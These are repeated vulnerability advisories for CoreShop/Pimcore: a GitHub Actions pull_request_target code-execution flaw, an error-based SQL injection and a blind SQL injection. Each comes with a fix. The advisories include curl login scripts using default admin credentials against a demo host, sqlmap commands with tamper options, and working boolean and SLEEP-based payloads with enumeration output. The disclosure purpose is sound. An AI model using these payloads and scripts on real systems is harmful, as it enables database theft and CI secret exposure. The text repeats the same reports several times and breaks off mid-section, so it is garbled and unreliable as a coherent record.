Summary

The GitHub Actions workflow (.github/workflows/static.yml) uses the pull_request_target trigger but dangerously checks out the unverified code from the pull request head (ref: ${{ github.event.pull_request.head.ref }}). Subsequently, it executes a script (bin/console) from this untrusted checkout. This allows any external attacker to achieve Remote Code Execution (RCE) on the GitHub Actions runner simply by submitting a malicious Pull Request. Also known as a "Pwn Request" vulnerability.

Steps to Reproduce:

1. Fork the target repository.
2. In the forked repository, modify a file that satisfies the paths condition (e.g., src/dummy.php or composer.json) to trigger the workflow.
3. Modify the bin/console file (which is executed in the workflow steps) with the following malicious payload:

#!/bin/bash
echo "=== PWNED ==="
echo "whoami:"
whoami

4. Commit the changes and open a Pull Request against the 5.0 or next branch of the base repository.
5. The Static Tests workflow will trigger automatically. Navigate to the Actions tab and inspect the logs for the Validate YAML (or any step executing bin/console).
6. You will see the output of whoami (typically runner), proving that the arbitrary code was successfully executed in the runner's context.

Impact: Because pull_request_target runs in the context of the base repository, the runner has access to repository secrets (e.g., PIMCORE_SECRET, PIMCORE_PRODUCT_KEY) loaded in the environment. An attacker can exfiltrate these secrets, modify repository contents (if the token has write permissions), or abuse the runner's computing resources.

Recommended Mitigation: Do not checkout untrusted PR code (head.ref) when using pull_request_target if the code will be built or executed. Consider adopting a separated architecture using the workflow_run event:

1. Use the pull_request event to safely run the build/tests in an unprivileged sandbox and upload artifacts.
2. Use the workflow_run event (which is privileged) to download the artifacts and perform actions requiring secrets.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

